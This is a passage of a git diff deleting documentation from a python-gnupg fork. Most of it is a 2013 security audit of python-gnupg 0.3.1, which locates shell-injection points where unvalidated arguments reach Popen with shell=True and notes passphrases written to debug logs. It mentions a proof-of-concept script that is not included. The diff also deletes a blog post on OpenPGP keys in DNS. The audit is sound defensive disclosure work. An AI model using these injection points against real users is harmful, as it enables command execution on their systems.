bold;">and</span> tail <span style="color: #00cdcd; font-weight: bold;">and</span> <span style="color: #00cdcd; font-weight: bold;">not</span> path.exists(head): - <span style="color: #00cdcd; font-weight: bold;">try</span>: - makedirs(head, mode) - <span style="color: #00cdcd; font-weight: bold;">except</span> <span style="color: #00cd00;">OSError</span>, e: - <span style="color: #cdcd00;"># </span><span style="color: #cdcd00;">be happy if someone already created the path</span> - <span style="color: #00cdcd; font-weight: bold;">if</span> e.errno != errno.EEXIST: - <span style="color: #00cdcd; font-weight: bold;">raise</span> - <span style="color: #00cdcd; font-weight: bold;">if</span> tail == curdir: <span style="color: #cdcd00;"># </span><span style="color: #cdcd00;">xxx/newdir/. exists if xxx/newdir exists</span> - <span style="color: #00cdcd; font-weight: bold;">return</span> - mkdir(name, mode) -</pre> - - -</div> -</div> - -</div> - -<div id="outline-container-9-2" class="outline-3"> -<h3 id="sec-9-2"><span class="section-number-3">9.2</span> def <sub>open</sub><sub>subprocess</sub>(self, args, passphrase=False) <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-2"> - - -</div> - -<div id="outline-container-9-2-1" class="outline-4"> -<h4 id="sec-9-2-1"><span class="section-number-4">9.2.1</span> L515: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-2-1"> - -<pre class="example"> -cmd.extend(args) -</pre> - - -<p> - cmd is a list of strings, eventually joined with cmd=' '.join(cmd), and - the args are unvalidated in this function. Then this concatenation of args - is fed directly into subprocess.Popen(cmd, shell=True, stdin=PIPE, - stdout=PIPE, stderr=PIPE). THIS SHOULD BE PATCHED. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-3" class="outline-3"> -<h3 id="sec-9-3"><span class="section-number-3">9.3</span> def <sub>collect</sub><sub>output</sub>(self, process, result, writer=None, stdin=None)</h3> -<div class="outline-text-3" id="text-9-3"> - -<p> sends stdout to self.<sub>read</sub><sub>data</sub>() and stderr to self.<sub>read</sub><sub>response</sub>() -</p> -</div> - -</div> - -<div id="outline-container-9-4" class="outline-3"> -<h3 id="sec-9-4"><span class="section-number-3">9.4</span> def <sub>handle</sub><sub>io</sub>(self, args, file, result, passphrase=None, binary=False) <span class="tag"><span class="vuln">vuln</span> <span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-9-4"> - - -</div> - -<div id="outline-container-9-4-1" class="outline-4"> -<h4 id="sec-9-4-1"><span class="section-number-4">9.4.1</span> L601: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span> <span class="type_check_in_call">type_check_in_call</span></span></h4> -<div class="outline-text-4" id="text-9-4-1"> - -<pre class="example"> -p = self._open_subprocess(args, passphrase is not None) -</pre> - - -<p> - you shouldn't assign or type check in a function call -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-5" class="outline-3"> -<h3 id="sec-9-5"><span class="section-number-3">9.5</span> def sign(self, message, **kwargs) <span class="tag"><span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-9-5"> - - -</div> - -<div id="outline-container-9-5-1" class="outline-4"> -<h4 id="sec-9-5-1"><span class="section-number-4">9.5.1</span> L617-619: <span class="tag"><span class="hanging_fd">hanging_fd</span></span></h4> -<div class="outline-text-4" id="text-9-5-1"> - -<p> calls self.<sub>make</sub><sub>binary</sub><sub>stream</sub>(), which leaves the file descriptor for - the encoded message to be encrypted hanging between scopes. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-6" class="outline-3"> -<h3 id="sec-9-6"><span class="section-number-3">9.6</span> def sign<sub>file</sub>(self, file, keyid=None, passphrase=None, clearsign=True, detach=False, binary=False) <span class="tag"><span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-9-6"> - - -</div> - -<div id="outline-container-9-6-1" class="outline-4"> -<h4 id="sec-9-6-1"><span class="section-number-4">9.6.1</span> L632-635: <span class="tag"><span class="bad_logic">bad_logic</span></span></h4> -<div class="outline-text-4" id="text-9-6-1"> - - - - -<pre class="src src-python"><span style="color: #00cdcd; font-weight: bold;">if</span> detach: - args.append(<span style="color: #00cd00;">"--detach-sign"</span>) -<span style="color: #00cdcd; font-weight: bold;">elif</span> clearsign: - args.append(<span style="color: #00cd00;">"--clearsign"</span>) -</pre> - - -<p> - the logic here allows that if a user erroneously specifies both options, - rather than doing what the system gnupg would do (that is, do –clearsign, - and ignore the –attach-sign), python-gnupg would ignore both. -</p> -</div> - -</div> - -<div id="outline-container-9-6-2" class="outline-4"> -<h4 id="sec-9-6-2"><span class="section-number-4">9.6.2</span> L626-641:</h4> -<div class="outline-text-4" id="text-9-6-2"> - -<p> input 'args' into self.<sub>open</sub><sub>subprocess</sub>() is defined as static strings. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-7" class="outline-3"> -<h3 id="sec-9-7"><span class="section-number-3">9.7</span> def verify(self, data): <span class="tag"><span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-9-7"> - - -</div> - -<div id="outline-container-9-7-1" class="outline-4"> -<h4 id="sec-9-7-1"><span class="section-number-4">9.7.1</span> L668-670: <span class="tag"><span class="hanging_fd">hanging_fd</span></span></h4> -<div class="outline-text-4" id="text-9-7-1"> - -<p> same hanging file descriptor problem as in self.sign() -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-8" class="outline-3"> -<h3 id="sec-9-8"><span class="section-number-3">9.8</span> def verify<sub>file</sub>(self, file, data<sub>filename</sub>=None) <span class="tag"><span class="vuln">vuln</span> <span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-9-8"> - - -</div> - -<div id="outline-container-9-8-1" class="outline-4"> -<h4 id="sec-9-8-1"><span class="section-number-4">9.8.1</span> L683: <span class="tag"><span class="hanging_fd">hanging_fd</span></span></h4> -<div class="outline-text-4" id="text-9-8-1"> - -<p> more potentially hanging file descriptors… -</p></div> - -</div> - -<div id="outline-container-9-8-2" class="outline-4"> -<h4 id="sec-9-8-2"><span class="section-number-4">9.8.2</span> L684: <span class="tag"><span class="hanging_fd">hanging_fd</span></span></h4> -<div class="outline-text-4" id="text-9-8-2"> - -<p> oh look, another hanging file descriptor. imagine that. -</p></div> - -</div> - -<div id="outline-container-9-8-3" class="outline-4"> -<h4 id="sec-9-8-3"><span class="section-number-4">9.8.3</span> L690: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-8-3"> - -<pre class="example"> -args.append('"%s"' % data_filename) -</pre> - -<p> well, there's the exploit. see included POC script. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-9" class="outline-3"> -<h3 id="sec-9-9"><span class="section-number-3">9.9</span> def import<sub>keys</sub>(self, key<sub>data</sub>) <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-9"> - - -</div> - -<div id="outline-container-9-9-1" class="outline-4"> -<h4 id="sec-9-9-1"><span class="section-number-4">9.9.1</span> L749: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-9-1"> - -<p> this function could potentially allow an attacker with a GPG exploit to - use it, because it passes key generation parameter directly into the - internal packet parsers of GPG. however, without a GPG exploit for one of - the GPG packet parsers (for explanation of GPG packets look into pgpdump), - this function alone is not exploitable. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-10" class="outline-3"> -<h3 id="sec-9-10"><span class="section-number-3">9.10</span> def recieve<sub>keys</sub>(self, keyserver, *keyids) <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-10"> - - -</div> - -<div id="outline-container-9-10-1" class="outline-4"> -<h4 id="sec-9-10-1"><span class="section-number-4">9.10.1</span> L770: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-10-1"> - -<pre class="example"> -args.extend(keyids) -</pre> - - -</div> -</div> - -</div> - -<div id="outline-container-9-11" class="outline-3"> -<h3 id="sec-9-11"><span class="section-number-3">9.11</span> def export<sub>keys</sub>(self, keyids, secret=False) <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-11"> - - -</div> - -<div id="outline-container-9-11-1" class="outline-4"> -<h4 id="sec-9-11-1"><span class="section-number-4">9.11.1</span> L795-796: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-11-1"> - -<p> args problem again. exploitable though parameter ``keyids``. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-12" class="outline-3"> -<h3 id="sec-9-12"><span class="section-number-3">9.12</span> def list<sub>keys</sub>(self, secret=False)</h3> -<div class="outline-text-3" id="text-9-12"> - - -</div> - -<div id="outline-container-9-12-1" class="outline-4"> -<h4 id="sec-9-12-1"><span class="section-number-4">9.12.1</span> L827:</h4> -<div class="outline-text-4" id="text-9-12-1"> - -<p> args is static string. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-13" class="outline-3"> -<h3 id="sec-9-13"><span class="section-number-3">9.13</span> def gen<sub>key</sub>(self, input) <span class="tag"><span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-9-13"> - - -</div> - -<div id="outline-container-9-13-1" class="outline-4"> -<h4 id="sec-9-13-1"><span class="section-number-4">9.13.1</span> L864:</h4> -<div class="outline-text-4" id="text-9-13-1"> - -<p> args, passed to self.<sub>handle</sub><sub>io</sub>(), which in turn passes args directly to - Popen(), is set to a static string. this function is halfway okay, though - it really could be more careful with the ``input`` parameter. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-14" class="outline-3"> -<h3 id="sec-9-14"><span class="section-number-3">9.14</span> def gen<sub>key</sub><sub>input</sub>(self, **kwargs) <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-14"> - - -</div> - -<div id="outline-container-9-14-1" class="outline-4"> -<h4 id="sec-9-14-1"><span class="section-number-4">9.14.1</span> L981-983: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-14-1"> - -<p> this function could potentially allow an attacker with a GPG exploit to - use it, because it passes key generation parameter directly into the - internal packet parsers of GPG. however, without a GPG exploit for one of - the GPG packet parsers (for explanation of GPG packets look into pgpdump), - this function alone is not exploitable. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-15" class="outline-3"> -<h3 id="sec-9-15"><span class="section-number-3">9.15</span> def encrypt<sub>file</sub>(self, file, recipiencts, sign=None, …) <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-15"> - - -</div> - -<div id="outline-container-9-15-1" class="outline-4"> -<h4 id="sec-9-15-1"><span class="section-number-4">9.15.1</span> L939: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-15-1"> - -<p> several of the inputs to this function are unvalidated, turned into - strings, and passed to Popen(). exploitable. -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-16" class="outline-3"> -<h3 id="sec-9-16"><span class="section-number-3">9.16</span> def encrypt(self, data, recipients, **kwargs): <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-16"> - - -</div> - -<div id="outline-container-9-16-1" class="outline-4"> -<h4 id="sec-9-16-1"><span class="section-number-4">9.16.1</span> L997: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-16-1"> - -<p> exploitable, passes kwargs to self.encrypt<sub>file</sub>() -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-17" class="outline-3"> -<h3 id="sec-9-17"><span class="section-number-3">9.17</span> def decrypt(self, message **kwargs): <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-17"> - - -</div> - -<div id="outline-container-9-17-1" class="outline-4"> -<h4 id="sec-9-17-1"><span class="section-number-4">9.17.1</span> L1003: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-17-1"> - -<p> kwargs are passed to self.decrypt<sub>file</sub>(), unvalidated, making this - function also exploitable -</p> -</div> -</div> - -</div> - -<div id="outline-container-9-18" class="outline-3"> -<h3 id="sec-9-18"><span class="section-number-3">9.18</span> def decrypt<sub>file</sub>(self, file, always<sub>trust</sub>=False, passphrase=None, output=None) <span class="tag"><span class="vuln">vuln</span></span></h3> -<div class="outline-text-3" id="text-9-18"> - - -</div> - -<div id="outline-container-9-18-1" class="outline-4"> -<h4 id="sec-9-18-1"><span class="section-number-4">9.18.1</span> L1013: <span class="tag"><span class="unvalidated_user_input">unvalidated_user_input</span></span></h4> -<div class="outline-text-4" id="text-9-18-1"> - -<p> unvalidated user input: this function is also exploitable -</p> -</div> -</div> -</div> - -</div> - -<div id="outline-container-10" class="outline-2"> -<h2 id="sec-10"><span class="section-number-2">10</span> POC</h2> -<div class="outline-text-2" id="text-10"> - -<p>CANNOT INCLUDE FILE ../python-gnupg-0.3.1/python-gnupg-exploit.py -</p></div> -</div> -</div> - -<div id="postamble"> -<p class="date">Date: 2013-02-01 Fri</p> -<p class="author">Author: isis</p> -<p class="email"><a href="mailto:isis@leap.se">isis@leap.se</a></p> -<p class="creator"><a href="http://orgmode.org">Org</a> version 7.9.2 with <a href="http://www.gnu.org/software/emacs/">Emacs</a> version 24</p> -<a href="http://validator.w3.org/check?uri=referer">Validate XHTML 1.0</a> - -</div> -</body> -</html> diff --git a/docs/NOTES-python-gnupg-3.1-audit.org b/docs/NOTES-python-gnupg-3.1-audit.org deleted file mode 100644 index b80fb39..0000000 --- a/docs/NOTES-python-gnupg-3.1-audit.org +++ /dev/null @@ -1,232 +0,0 @@ -#+TITLE: python-gnupg audit -#+AUTHOR: isis -#+EMAIL: isis@leap.se -#+DATE: 2013-02-01 Fri -#+DESCRIPTION: -#+KEYWORDS: -#+LANGUAGE: en -#+OPTIONS: H:3 num:t toc:t \n:nil @:t ::t |:t ^:t -:t f:t *:t <:t -#+OPTIONS: TeX:t LaTeX:t skip:nil d:nil todo:t pri:nil tags:not-in-toc -#+INFOJS_OPT: view:nil toc:2 ltoc:t mouse:underline buttons:0 path:http://orgmode.org/org-info.js -#+EXPORT_SELECT_TAGS: export -#+EXPORT_EXCLUDE_TAGS: noexport -#+LINK_UP: -#+LINK_HOME: -#+XSLT: - -[2013-02-01 Fri] - -* gnugp.__main__() -** comments -L58 NullHandler?? see self._write_passphrase -L61 there nifty check for p3k -** def _copy_data(instream, outstream) :cleanup: - copies data from one stream to another, 1024 bytes at a time. -*** L79: :bad_logic: - instream is apparently a file descriptor, but is not checked nor - encased in a try/except block. - -*** L78: :hanging_fd:bad_logic: - while True: loop, should be - : with open(instream) as instrm: -*** L88: :bad_exception_handling: - : except: - should catch an IOError, or whatever specific error is raised for broken - pipes. -** def _threaded_copy_data(instream, outstream): -*** L99: - this just wraps self._copy_data in a thread -** def _write_passphrase(stream, passphrase, encoding): :vuln:cleanup: -*** L110: :writes_passphrase_to_disk: - logger writes passphrase into debug log. this should be patched. -* class Verify(object) - basic parsing class, no errors found -* class ImportResult(object) - basic parsing class, no errors found -* class ListKeys(list): - basic parsing class, no errors found -* class Crypt(Verify): - basic parsing class, no errors found -** def __init__(self, gpg) :cleanup: -*** L338 :mro_conflict: - - #+BEGIN_SRC python - Verify.__init__(self,gpg) - #+END_SRC - - should be changed to: - - #+BEGIN_SRC python - super(Verify, self).__init__(gpg) - #+END_SRC -* class GenKey(object) - basic parsing class, no errors found -* class DeleteResult(object) - basic parsing class, no errors found -* class Sign(object) - basic parsing class, no errors found -* class GPG(object) :exploitable: -*** L474: :cleanup: - : cls.__doc__ - should go directly underneath class signature -** def __init__(self, gpgbinary='gpg', gnupghome=None, verbose=False, use_agent=False, keyring=None) :bug: -*** L494-495: :type_error: - - #+BEGIN_SRC python - if gnupghome and not os.path.isdir(self.gnupghome): - os.makedirs(self.gnupghome,0x1C0) - #+END_SRC - - #+BEGIN_EXAMPLE - In [20]: os.makedirs? - Type: function - String Form:<function makedirs at 0x7f8ddeb6cc08> - File: /usr/lib/python2.7/os.py - Definition: os.makedirs(name, mode=511) - Docstring: - makedirs(path [, mode=0777]) - Super-mkdir; create a leaf directory and all intermediate ones. - Works like mkdir, except that any intermediate path segment (not - just the rightmost) will be created if it does not exist. This is - recursive. - - setting mode=0x1c0 is equivalent to mode=hex(0700), which - may cause bugs on some systems, see - http://ubuntuforums.org/showthread.php?t=2044879 - - this could be do to the complete lack of input validation in - os.makedirs, and it's calling of the os.mkdir() built-in, which - may vary depending on the python compilation: - #+END_EXAMPLE - - #+BEGIN_SRC python - Source: - def makedirs(name, mode=0777): - """makedirs(path [, mode=0777]) - - Super-mkdir; create a leaf directory and all intermediate ones. - Works like mkdir, except that any intermediate path segment (not - just the rightmost) will be created if it does not exist. This is - recursive. - """ - head, tail = path.split(name) - if not tail: - head, tail = path.split(head) - if head and tail and not path.exists(head): - try: - makedirs(head, mode) - except OSError, e: - # be happy if someone already created the path - if e.errno != errno.EEXIST: - raise - if tail == curdir: # xxx/newdir/. exists if xxx/newdir exists - return - mkdir(name, mode) - #+END_SRC - -** def _open_subprocess(self, args, passphrase=False) :vuln: -*** L515: :unvalidated_user_input: - : cmd.extend(args) - - cmd is a list of strings, eventually joined with cmd=' '.join(cmd), and - the args are unvalidated in this function. Then this concatenation of args - is fed directly into subprocess.Popen(cmd, shell=True, stdin=PIPE, - stdout=PIPE, stderr=PIPE). THIS SHOULD BE PATCHED. - -** def _collect_output(self, process, result, writer=None, stdin=None) - sends stdout to self._read_data() and stderr to self._read_response() - -** def _handle_io(self, args, file, result, passphrase=None, binary=False) :vuln:cleanup: -*** L601: :unvalidated_user_input:type_check_in_call: - : p = self._open_subprocess(args, passphrase is not None) - - you shouldn't assign or type check in a function call - -** def sign(self, message, **kwargs) :cleanup: -*** L617-619: :hanging_fd: - calls self._make_binary_stream(), which leaves the file descriptor for - the encoded message to be encrypted hanging between scopes. - -** def sign_file(self, file, keyid=None, passphrase=None, clearsign=True, detach=False, binary=False) :cleanup: -*** L632-635: :bad_logic: - #+BEGIN_SRC python - if detach: - args.append("--detach-sign") - elif clearsign: - args.append("--clearsign") - #+END_SRC - - the logic here allows that if a user erroneously specifies both options, - rather than doing what the system gnupg would do (that is, do --clearsign, - and ignore the --attach-sign), python-gnupg would ignore both. - -*** L626-641: - input 'args' into self._open_subprocess() is defined as static strings. - -** def verify(self, data): :cleanup: -*** L668-670: :hanging_fd: - same hanging file descriptor problem as in self.sign() - -** def verify_file(self, file, data_filename=None) :vuln:cleanup: -*** L683: :hanging_fd: - more potentially hanging file descriptors... -*** L684: :hanging_fd: - oh look, another hanging file descriptor. imagine that. -*** L690: :unvalidated_user_input: - : args.append('"%s"' % data_filename) - well, there's the exploit. see included POC script. - -** def import_keys(self, key_data) :vuln: -*** L749: :unvalidated_user_input: - this function could potentially allow an attacker with a GPG exploit to - use it, because it passes key generation parameter directly into the - internal packet parsers of GPG. however, without a GPG exploit for one of - the GPG packet parsers (for explanation of GPG packets look into pgpdump), - this function alone is not exploitable. - -** def recieve_keys(self, keyserver, *keyids) :vuln: -*** L770: :unvalidated_user_input: - : args.extend(keyids) - -** def export_keys(self, keyids, secret=False) :vuln: -*** L795-796: :unvalidated_user_input: - args problem again. exploitable though parameter ``keyids``. - -** def list_keys(self, secret=False) -*** L827: - args is static string. - -** def gen_key(self, input) :cleanup: -*** L864: - args, passed to self._handle_io(), which in turn passes args directly to - Popen(), is set to a static string. this function is halfway okay, though - it really could be more careful with the ``input`` parameter. - -** def gen_key_input(self, **kwargs) :vuln: -*** L981-983: :unvalidated_user_input: - this function could potentially allow an attacker with a GPG exploit to - use it, because it passes key generation parameter directly into the - internal packet parsers of GPG. however, without a GPG exploit for one of - the GPG packet parsers (for explanation of GPG packets look into pgpdump), - this function alone is not exploitable. - -** def encrypt_file(self, file, recipiencts, sign=None, ...) :vuln: -*** L939: :unvalidated_user_input: - several of the inputs to this function are unvalidated, turned into - strings, and passed to Popen(). exploitable. - -** def encrypt(self, data, recipients, **kwargs): :vuln: -*** L997: :unvalidated_user_input: - exploitable, passes kwargs to self.encrypt_file() - -** def decrypt(self, message **kwargs): :vuln: -*** L1003: :unvalidated_user_input: - kwargs are passed to self.decrypt_file(), unvalidated, making this - function also exploitable - -** def decrypt_file(self, file, always_trust=False, passphrase=None, output=None) :vuln: -*** L1013: :unvalidated_user_input: - unvalidated user input: this function is also exploitable - -* POC -#+INCLUDE: "../python-gnupg-0.3.1/python-gnupg-exploit.py" python diff --git a/docs/NOTES-python-gnupg-development.org b/docs/NOTES-python-gnupg-development.org deleted file mode 100644 index 3ea6b6b..0000000 --- a/docs/NOTES-python-gnupg-development.org +++ /dev/null @@ -1,59 +0,0 @@ --*- mode: org; epa-file-encrypt-to: ("isis@leap.se") -*- -#+TITLE: python-gnupg audit -#+AUTHOR: isis -#+EMAIL: isis@leap.se -#+DATE: 2013-02-01 Fri -#+DESCRIPTION: -#+KEYWORDS: -#+LANGUAGE: en -#+OPTIONS: H:3 num:t toc:t \n:nil @:t ::t |:t ^:t -:t f:t *:t <:t -#+OPTIONS: TeX:t LaTeX:t skip:nil d:nil todo:t pri:nil tags:not-in-toc -#+INFOJS_OPT: view:nil toc:2 ltoc:t mouse:underline buttons:0 path:http://orgmode.org/org-info.js -#+EXPORT_SELECT_TAGS: export -#+EXPORT_EXCLUDE_TAGS: noexport -#+LINK_UP: -#+LINK_HOME: -#+XSLT: - -* Development notes on patching python-gnupg - -** python-gnupg - -** Sphinx & documentation -*** Obtaining full .rst documentation from Sphinx - -Internally, Sphinx prepares and uses ReStructed Text to create the other -formats, but provides no functionality for obtaining it. To steal it from -Sphinx, we can patch the Sphinx source to print it to stdout and then pipe that -to a file. - -The patch for Sphinx is (from http://stackoverflow.com/a/2712413) changes -Sphinx's `sphinx.ext.autodoc.Documenter.add__line` function to: - -#+BEGIN_SRC python -def add_line(self, line, source, *lineno): - """Append one line of generated reST to the output.""" - print self.indent + line - self.directive.result.append(self.indent + line, source, *lineno))) -#+END_SRC - -* Resources - -** On the ctb=%d.02 bug -This bug can be triggered in several versions of GnuPG, and will result in a -message similar to: - -gpg: [don't know]: invalid packet (ctb=2d) -gpg: [don't know]: invalid packet (ctb=2d) -gpg: keydb_search failed: invalid packet -gpg: encrypted with RSA key, ID ******** -gpg: decryption failed: secret key not available - -The 'ctb=2d' means that GnuPG has detected an extra '-' (0x2d) character, -except that this bug occurs (seemingly) at random during batch operations when -there is no extra '-'. (Or, at least, other files generated with similar -parameters and functions do not cause the 'invalid packet' error message to -appear.) - -https://bugs.g10code.com/gnupg/issue1179 -http://bugs.g10code.com/gnupg/issue997 diff --git a/docs/NOTES-python-openpgp-implementations.txt b/docs/NOTES-python-openpgp-implementations.txt deleted file mode 100644 index bf60728..0000000 --- a/docs/NOTES-python-openpgp-implementations.txt +++ /dev/null @@ -1,31 +0,0 @@ --*- mode: org -*- - -* Other Python OpenPGP libraries and utilities: - -*** pygpgme - https://launchpad.net/pygpgme -A limited set of Python wrappers around GPGME -http://www.gnupg.org/documentation/manuals/gpgme/ - -*** py-gnupg - https://github.com/kevinoid/py-gnupg/blob/master/GnuPGInterface.py -Focuses mainly on using file handles to interact with GnuPG. - -*** OpenPGP-Python - https://github.com/singpolyma/OpenPGP-Python -The commit messages are a bit worrysome and the code has some scary -error-prone-looking method chaining going on, a five minute glance over the -/OpenPGP/Crypto.py file and it appears this is actually a valid OpenPGP -implementation, built using D.Litzenberger's PyCrypto library. -https://github.com/dlitz/pycrypto - -This person also wrote OpenPGP-Haskell: -https://github.com/singpolyma/OpenPGP-Haskell - -...and OpenPGP-PHP (/horrorface): https://github.com/singpolyma/openpgp-php and -an HTTP server as a shell script with a pretty crazy pipe hack. - -...and kudos on this one, it's an attempt at a mnemnonic system for squaring -Zooko's Triangle (L17 being a function named "countLeadingCrapAndZeros"): -https://github.com/singpolyma/mnemonicode/blob/master/mnencode.c#L17 - -* GnuPG unattended key generation scripts: - -*** mandos-keygen http://bzr.recompile.se/loggerhead/mandos/trunk/annotate/523/mandos-keygen?start_revid=616 diff --git a/docs/OpenPGP-keys-in-DNS.md b/docs/OpenPGP-keys-in-DNS.md deleted file mode 100644 index 56cb542..0000000 --- a/docs/OpenPGP-keys-in-DNS.md +++ /dev/null @@ -1,133 +0,0 @@ -[Christoph Berg's Blog](../index.html)/ - -[2007](../2007.html)/ - -</span> -<span class="title"> -OpenPGP keys in DNS - -</span> -</span> - -</div> - -<div class="actions"> - -* [RecentChanges](../recentchanges.html) -* [History](http://svn.df7cb.de/viewcvs.cgi/trunk/2007/openpgp-dns.mdwn?root=blog&view=log) -</div> - -</div> - -<div id="pagebody"> - -<div id="content"> - -The latest addition to the mutt CVS tree is PKA support via gpgme. While trying -to figure out how that works in mutt (I haven't yet...) I configured my DNS -server for PKA and CERT records. - -## PKA - -PKA (public key association) puts a pointer where to obtain a key into a TXT -record. At the same time that can be used to verify that a key belongs to a -mail address. The documentation is at the -[g10code website](http://www.g10code.de/docs/pka-intro.de.pdf) -(only in German so far). I put the following into the df7cb.de zone: - -<p> -cb._pka IN TXT "v=pka1;fpr=D224C8B07E63A6946DA32E07C5AF774A58510B5A;uri=finger:cb@df7cb.de" - -<pre> -$ host -t TXT cb._pka.df7cb.de -cb._pka.df7cb.de descriptive text "v=pka1\;fpr=D224C8B07E63A6946DA32E07C5AF774A58510B5A\;uri=finger:cb@df7cb.de" -</pre> - -Now gpg can be told to use PKA to find the key: - -<pre> -$ echo foo | gpg --auto-key-locate pka --recipient cb@df7cb.de --encrypt -a -gpg: no keyserver known (use option --keyserver) -gpg: requesting key 58510B5A from finger:cb@df7cb.de -gpg: key 58510B5A: public key "Christoph Berg " imported -gpg: Total number processed: 1 -gpg: imported: 1 -gpg: automatically retrieved `cb@df7cb.de' via PKA -</pre> - -## CERT - -CERT records work similarly. Records are generated by make-dns-cert (from the -tools directory in the gnupg source). cb.gpg is a stripped-down gpg keyring -(created with pgp-clean -s and converting from .asc to .gpg). - -<pre> -$ ./make-dns-cert -f D224C8B07E63A6946DA32E07C5AF774A58510B5A -n cb -cb TYPE37 \# 26 0006 0000 00 14 D224C8B07E63A6946DA32E07C5AF774A58510B5A -$ ./make-dns-cert -k cb.gpg -n cb -cb TYPE37 \# 1338 0003 0000 00 9901A20440 [...] 509C96D4BFF17B7 -</pre> - -With a new bind and host (backports.org!) the format looks a bit nicer, that's -also what I copied into the zone file: - -<pre> -$ host -t CERT cb.df7cb.de -;; Truncated, retrying in TCP mode. -cb.df7cb.de has CERT record PGP 0 0 mQGiBECBGdAR [...] UDlCcltS/8Xtw== -cb.df7cb.de has CERT record 6 0 0 FNIkyLB+Y6aUbaMuB8Wvd0pYUQta -</pre> - -Again, gpg can be told to use that: - -<pre> -$ echo foo | gpg --auto-key-locate cert --recipient cb@df7cb.de --encrypt -a -gpg: key 58510B5A: public key "Christoph Berg " imported -gpg: Total number processed: 1 -gpg: imported: 1 -gpg: automatically retrieved `cb@df7cb.de' via DNS CERT -</pre> - -Thanks to weasel for some hints on using CERT. - -## SSHFP - -I'm also mentioning SSHFP records here since it fits in the topic - I have been -using them for some months now: - -<pre> -$ host -t SSHFP tesla.df7cb.de -tesla.df7cb.de has SSHFP record 1 1 EE49B803541293656C33B86ECD781BD8F1D78AB5 -tesla.df7cb.de has SSHFP record 2 1 3E82FB5EE8AA0205305F0D0186F94D6FB3E0E744 -$ ssh -o 'VerifyHostKeyDNS yes' tesla.df7cb.de -The authenticity of host 'tesla.df7cb.de (88.198.227.218)' can't be established. -RSA key fingerprint is 5a:c9:38:ca:c0:2b:11:c1:c8:fb:f1:ad:73:a1:9c:8b. -Matching host key fingerprint found in DNS. -Are you sure you want to continue connecting (yes/no)? -</pre> - -The records are generated with ssh-keygen -r. - -</div> - -</div> - -<div id="footer" class="pagefooter"> - -<div id="pageinfo"> - -<div class="tags"> -Tags: - -[debian](../tag/debian.html) - -</div> - -<div class="pagedate"> -Last edited <span class="date">Do 17 Feb 2011 13:21:52 CET</span> -<!-- Created <span class="date">Do 01 Mär 2007 20:01:27 CET</span> --> -</div> - -</div> - -<!-- from Christoph Berg's Blog --> diff --git a/docs/_build/doctrees/environment.pickle b/docs/_build/doctrees/environment.pickle Binary files differdeleted file mode 100644 index 1c8a3c5..0000000 --- a/docs/_build/doctrees/environment.pickle +++ /dev/null diff --git a/docs/_build/doctrees/gnupg.doctree b/docs/_build/doctrees/gnupg.doctree Binary files differdeleted file mode 100644 index 37362fb..0000000 --- a/docs/_build/doctrees/gnupg.doctree +++ /dev/null diff --git a/docs/_build/doctrees/index.doctree b/docs/_build/doctrees/index.doctree Binary files differdeleted file mode 100644 index b64b3cd..0000000 --- a/docs/_build/doctrees/index.doctree +++ /dev/null diff --git a/docs/_build/html/.buildinfo b/docs/_build/html/.buildinfo deleted file mode 100644 index 473365f..0000000 --- a/docs/_build/html/.buildinfo +++ /dev/null @@ -1,4 +0,0 @@ -# Sphinx build info version 1 -# This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done. -config: 3b17b4d3fc88986a51f33ba3cd0d93b5 -tags: 645f666f9bcd5a90fca523b33c5a78b7 diff --git a/docs/_build/html/_modules/gnupg.html b/docs/_build/html/_modules/gnupg.html deleted file mode 100644 index 24c2170..0000000 --- a/docs/_build/html/_modules/gnupg.html +++ /dev/null @@ -1,148 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; 